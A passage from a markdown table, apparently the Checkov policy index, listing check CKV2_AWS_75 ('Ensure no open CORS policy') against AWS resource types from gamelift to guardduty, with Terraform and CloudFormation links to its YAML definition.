Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3717 | CKV2_AWS_75              | resource                         | aws_gamelift_alias                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3718 | CKV2_AWS_75              | resource                         | aws_gamelift_alias                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3719 | CKV2_AWS_75              | resource                         | aws_gamelift_build                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3720 | CKV2_AWS_75              | resource                         | aws_gamelift_build                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3721 | CKV2_AWS_75              | resource                         | aws_gamelift_fleet                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3722 | CKV2_AWS_75              | resource                         | aws_gamelift_fleet                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3723 | CKV2_AWS_75              | resource                         | aws_gamelift_game_server_group                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3724 | CKV2_AWS_75              | resource                         | aws_gamelift_game_server_group                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3725 | CKV2_AWS_75              | resource                         | aws_gamelift_game_session_queue                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3726 | CKV2_AWS_75              | resource                         | aws_gamelift_game_session_queue                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3727 | CKV2_AWS_75              | resource                         | aws_gamelift_script                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3728 | CKV2_AWS_75              | resource                         | aws_gamelift_script                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3729 | CKV2_AWS_75              | resource                         | aws_glacier_vault                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3730 | CKV2_AWS_75              | resource                         | aws_glacier_vault                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3731 | CKV2_AWS_75              | resource                         | aws_glacier_vault_lock                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3732 | CKV2_AWS_75              | resource                         | aws_glacier_vault_lock                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3733 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_accelerator                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3734 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_accelerator                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3735 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_cross_account_attachment                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3736 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_cross_account_attachment                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3737 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_custom_routing_accelerator                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3738 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_custom_routing_accelerator                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3739 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_custom_routing_endpoint_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3740 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_custom_routing_endpoint_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3741 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_custom_routing_listener                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3742 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_custom_routing_listener                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3743 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_endpoint_group                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3744 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_endpoint_group                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3745 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_listener                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3746 | CKV2_AWS_75              | resource                         | aws_globalaccelerator_listener                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3747 | CKV2_AWS_75              | resource                         | aws_glue_catalog_database                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3748 | CKV2_AWS_75              | resource                         | aws_glue_catalog_database                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3749 | CKV2_AWS_75              | resource                         | aws_glue_catalog_table                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3750 | CKV2_AWS_75              | resource                         | aws_glue_catalog_table                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3751 | CKV2_AWS_75              | resource                         | aws_glue_catalog_table_optimizer                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3752 | CKV2_AWS_75              | resource                         | aws_glue_catalog_table_optimizer                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3753 | CKV2_AWS_75              | resource                         | aws_glue_classifier                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3754 | CKV2_AWS_75              | resource                         | aws_glue_classifier                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3755 | CKV2_AWS_75              | resource                         | aws_glue_connection                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3756 | CKV2_AWS_75              | resource                         | aws_glue_connection                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3757 | CKV2_AWS_75              | resource                         | aws_glue_crawler                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3758 | CKV2_AWS_75              | resource                         | aws_glue_crawler                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3759 | CKV2_AWS_75              | resource                         | aws_glue_data_catalog_encryption_settings                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3760 | CKV2_AWS_75              | resource                         | aws_glue_data_catalog_encryption_settings                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3761 | CKV2_AWS_75              | resource                         | aws_glue_data_quality_ruleset                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3762 | CKV2_AWS_75              | resource                         | aws_glue_data_quality_ruleset                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3763 | CKV2_AWS_75              | resource                         | aws_glue_dev_endpoint                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3764 | CKV2_AWS_75              | resource                         | aws_glue_dev_endpoint                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3765 | CKV2_AWS_75              | resource                         | aws_glue_job                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3766 | CKV2_AWS_75              | resource                         | aws_glue_job                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3767 | CKV2_AWS_75              | resource                         | aws_glue_ml_transform                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3768 | CKV2_AWS_75              | resource                         | aws_glue_ml_transform                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3769 | CKV2_AWS_75              | resource                         | aws_glue_partition                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3770 | CKV2_AWS_75              | resource                         | aws_glue_partition                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3771 | CKV2_AWS_75              | resource                         | aws_glue_partition_index                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3772 | CKV2_AWS_75              | resource                         | aws_glue_partition_index                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3773 | CKV2_AWS_75              | resource                         | aws_glue_registry                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3774 | CKV2_AWS_75              | resource                         | aws_glue_registry                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3775 | CKV2_AWS_75              | resource                         | aws_glue_resource_policy                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3776 | CKV2_AWS_75              | resource                         | aws_glue_resource_policy                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3777 | CKV2_AWS_75              | resource                         | aws_glue_schema                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3778 | CKV2_AWS_75              | resource                         | aws_glue_schema                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3779 | CKV2_AWS_75              | resource                         | aws_glue_security_configuration                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3780 | CKV2_AWS_75              | resource                         | aws_glue_security_configuration                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3781 | CKV2_AWS_75              | resource                         | aws_glue_trigger                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3782 | CKV2_AWS_75              | resource                         | aws_glue_trigger                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3783 | CKV2_AWS_75              | resource                         | aws_glue_user_defined_function                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3784 | CKV2_AWS_75              | resource                         | aws_glue_user_defined_function                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3785 | CKV2_AWS_75              | resource                         | aws_glue_workflow                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3786 | CKV2_AWS_75              | resource                         | aws_glue_workflow                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3787 | CKV2_AWS_75              | resource                         | aws_grafana_license_association                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3788 | CKV2_AWS_75              | resource                         | aws_grafana_license_association                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3789 | CKV2_AWS_75              | resource                         | aws_grafana_role_association                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3790 | CKV2_AWS_75              | resource                         | aws_grafana_role_association                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3791 | CKV2_AWS_75              | resource                         | aws_grafana_workspace                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3792 | CKV2_AWS_75              | resource                         | aws_grafana_workspace                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3793 | CKV2_AWS_75              | resource                         | aws_grafana_workspace_api_key                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3794 | CKV2_AWS_75              | resource                         | aws_grafana_workspace_api_key                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3795 | CKV2_AWS_75              | resource                         | aws_grafana_workspace_saml_configuration                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3796 | CKV2_AWS_75              | resource                         | aws_grafana_workspace_saml_configuration                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3797 | CKV2_AWS_75              | resource                         | aws_grafana_workspace_service_account                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3798 | CKV2_AWS_75              | resource                         | aws_grafana_workspace_service_account                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3799 | CKV2_AWS_75              | resource                         | aws_grafana_workspace_service_account_token                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3800 | CKV2_AWS_75              | resource                         | aws_grafana_workspace_service_account_token                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3801 | CKV2_AWS_75              | resource                         | aws_guardduty_detector                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3802 | CKV2_AWS_75              | resource                         | aws_guardduty_detector                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3803 | CKV2_AWS_75              | resource                         | aws_guardduty_detector_feature                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3804 | CKV2_AWS_75              | resource                         | aws_guardduty_detector_feature                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3805 | CKV2_AWS_75              | resource                         | aws_guardduty_filter                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3806 | CKV2_AWS_75              | resource                         | aws_guardduty_filter                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3807 | CKV2_AWS_75              | resource                         | aws_guardduty_invite_accepter                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3808 | CKV2_AWS_75              | resource                         | aws_guardduty_invite_accepter                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3809 | CKV2_AWS_75              | resource                         | aws_guardduty_ipset                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | 